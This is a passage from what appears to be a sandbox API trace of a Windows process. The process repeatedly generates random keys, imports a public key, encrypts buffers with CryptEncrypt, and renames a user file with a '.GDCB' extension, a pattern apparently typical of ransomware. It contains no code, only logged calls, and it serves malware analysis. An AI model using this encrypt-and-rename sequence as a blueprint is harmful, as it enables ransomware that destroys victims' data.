pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.588] CryptEncrypt (in: hKey=0x6782048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcc60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcc60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0252.588] GetLastError () returned 0x0 [0252.588] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.589] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0252.591] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781a08) returned 1 [0252.591] CryptGetKeyParam (in: hKey=0x6781a08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.591] CryptEncrypt (in: hKey=0x6781a08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcc70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcc70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0252.591] GetLastError () returned 0x0 [0252.591] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.591] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3530508098\\2495906576.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.604] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0252.607] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.610] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.610] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0252.610] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.610] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0252.612] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.614] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.614] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0252.614] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.615] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0252.617] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6781888) returned 1 [0252.617] CryptGetKeyParam (in: hKey=0x6781888, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0252.617] CryptEncrypt (in: hKey=0x6781888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcc80000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xcc80000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0252.617] GetLastError () returned 0x0 [0252.617] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.617] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0252.619] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6781a48) returned 1 [0252.619] CryptGetKeyParam (in: hKey=0x6781a48, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0252.619] CryptEncrypt (in: hKey=0x6781a48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcc90000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xcc90000*, pdwDataLen=0x285db40*=0x100) returned 1 [0252.619] GetLastError () returned 0x0 [0252.619] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.619] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.642] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0252.645] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.647] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.647] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0252.647] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.648] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0252.650] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.652] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.652] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0252.652] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.652] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0252.655] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67819c8) returned 1 [0252.655] CryptGetKeyParam (in: hKey=0x67819c8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0252.655] CryptEncrypt (in: hKey=0x67819c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcca0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xcca0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0252.655] GetLastError () returned 0x0 [0252.655] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.655] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0252.657] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6781b08) returned 1 [0252.657] CryptGetKeyParam (in: hKey=0x6781b08, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0252.657] CryptEncrypt (in: hKey=0x6781b08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xccb0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xccb0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0252.657] GetLastError () returned 0x0 [0252.657] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.657] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_data.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.660] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0252.663] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.665] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.665] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0252.665] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.665] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0252.667] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.669] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.677] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0252.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.678] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0252.680] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6781d48) returned 1 [0252.680] CryptGetKeyParam (in: hKey=0x6781d48, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0252.680] CryptEncrypt (in: hKey=0x6781d48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xccc0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xccc0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0252.680] GetLastError () returned 0x0 [0252.680] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.680] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0252.682] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6781dc8) returned 1 [0252.682] CryptGetKeyParam (in: hKey=0x6781dc8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0252.682] CryptEncrypt (in: hKey=0x6781dc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xccd0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xccd0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0252.683] GetLastError () returned 0x0 [0252.683] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.683] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_header.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.789] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.792] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.795] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0252.795] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.795] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0252.798] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.800] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.800] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0252.800] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.800] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0252.802] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67827c8) returned 1 [0252.803] CryptGetKeyParam (in: hKey=0x67827c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.803] CryptEncrypt (in: hKey=0x67827c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcce0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcce0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0252.803] GetLastError () returned 0x0 [0252.803] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.803] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0252.805] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6782708) returned 1 [0252.805] CryptGetKeyParam (in: hKey=0x6782708, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.805] CryptEncrypt (in: hKey=0x6782708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xccf0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xccf0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0252.805] GetLastError () returned 0x0 [0252.805] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.805] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\ac\\microsoft\\windows\\3375042201\\1858609885.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0252.807] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd00000 [0252.810] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd10000 [0252.813] ReadFile (in: hFile=0x520, lpBuffer=0xcd10000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd10000*, lpNumberOfBytesRead=0x285d3e8*=0x7ee0, lpOverlapped=0x0) returned 1 [0252.822] VirtualAlloc (lpAddress=0x0, dwSize=0x7ee0, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0252.829] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\ac\\microsoft\\windows\\3375042201\\1858609885.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3375042201\\1858609885.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\ac\\microsoft\\windows\\3375042201\\1858609885.pri.gdcb")) returned 1 [0253.335] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0253.338] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.340] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.340] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0253.340] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.340] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4980) returned 1 [0253.343] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.345] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.345] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0253.345] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0253.345] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0253.347] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x6783c48) returned 1 [0253.347] CryptGetKeyParam (in: hKey=0x6783c48, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0253.347] CryptEncrypt (in: hKey=0x6783c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcce0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xcce0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0253.348] GetLastError () returned 0x0 [0253.348] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.348] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0253.349] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x677ed08) returned 1 [0253.349] CryptGetKeyParam (in: hKey=0x677ed08, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0253.349] CryptEncrypt (in: hKey=0x677ed08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xccf0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xccf0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0253.350] GetLastError () returned 0x0 [0253.350] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.350] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.378] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0253.381] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.383] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0253.383] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.383] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0253.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.389] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0253.389] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.390] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0253.392] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x6781fc8) returned 1 [0253.392] CryptGetKeyParam (in: hKey=0x6781fc8, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0253.392] CryptEncrypt (in: hKey=0x6781fc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd00000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd00000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0253.392] GetLastError () returned 0x0 [0253.392] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0253.392] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0253.394] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x6781b48) returned 1 [0253.394] CryptGetKeyParam (in: hKey=0x6781b48, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0253.394] CryptEncrypt (in: hKey=0x6781b48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd10000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd10000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0253.394] GetLastError () returned 0x0 [0253.394] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.394] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.397] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0253.400] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.402] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.402] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0253.402] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.402] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0253.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.407] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.407] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0253.407] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0253.407] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 